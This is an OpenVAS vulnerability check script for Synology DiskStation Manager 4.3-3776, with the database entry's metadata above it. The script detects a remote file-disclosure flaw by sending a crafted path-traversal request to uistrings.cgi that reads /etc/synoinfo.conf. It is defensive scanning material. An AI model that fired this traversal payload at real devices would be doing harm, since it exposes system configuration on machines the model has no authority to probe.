Synology DSM 4.3-3776 XSS / File Disclosure / Command Injection

2013-09-12T00:00:00
ID OPENVAS:1361412562310103787
Type openvas
Reporter This script is Copyright (C) 2013 Greenbone Networks GmbH
Modified 2018-08-22T00:00:00

Description

Synology DiskStation Manager is prone to multiple vulnerabilities.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_synology_dsm_mult_vulns_09_13.nasl 11082 2018-08-22 15:05:47Z mmartin $
#
# Synology DSM 4.3-3776 XSS / File Disclosure / Command Injection
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
CPE = "cpe:/o:synology:dsm";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103787");
  script_version("$Revision: 11082 $");
  script_tag(name:"cvss_base", value:"9.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:C/A:C");

  script_name("Synology DSM 4.3-3776 XSS / File Disclosure / Command Injection");


  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/123182/Synology-DSM-4.3-3776-XSS-File-Disclosure-Command-Injection.html");
  script_xref(name:"URL", value:"http://www.synology.com/enu/index.php");

  script_tag(name:"last_modification", value:"$Date: 2018-08-22 17:05:47 +0200 (Wed, 22 Aug 2018) $");
  script_tag(name:"creation_date", value:"2013-09-12 11:33:59 +0200 (Thu, 12 Sep 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("This script is Copyright (C) 2013 Greenbone Networks GmbH");
  script_dependencies("gb_synology_dsm_detect.nasl");
  script_require_ports("Services/www", 80, 5000, 5001);
  script_mandatory_keys("synology_dsm/installed");

  script_tag(name:"impact", value:"Please see the references for details about the impact.");
  script_tag(name:"vuldetect", value:"Tries to read /etc/synoinfo.conf by sending a special crafted HTTP GET request.");
  script_tag(name:"insight", value:"Synology DSM versions 4.3-3776 and below suffer from remote file
download, content disclosure, cross site scripting, and command injection
vulnerabilities.");
  script_tag(name:"solution", value:"Vendor updates are available.");
  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"summary", value:"Synology DiskStation Manager is prone to multiple vulnerabilities.");
  script_tag(name:"affected", value:"Synology DSM versions 4.3-3776 and below.");

 exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");


if(!port = get_app_port(cpe:CPE))exit(0);

url = '/scripts/uistrings.cgi?lang=.' + crap(data:"/", length:88) + crap(data:"../", length:3*5) + 'etc/synoinfo.conf';

if(http_vuln_check(port:port, url:url,pattern:"secure_admin_port")) {

  security_message(port:port);
  exit(0);

}

exit(0);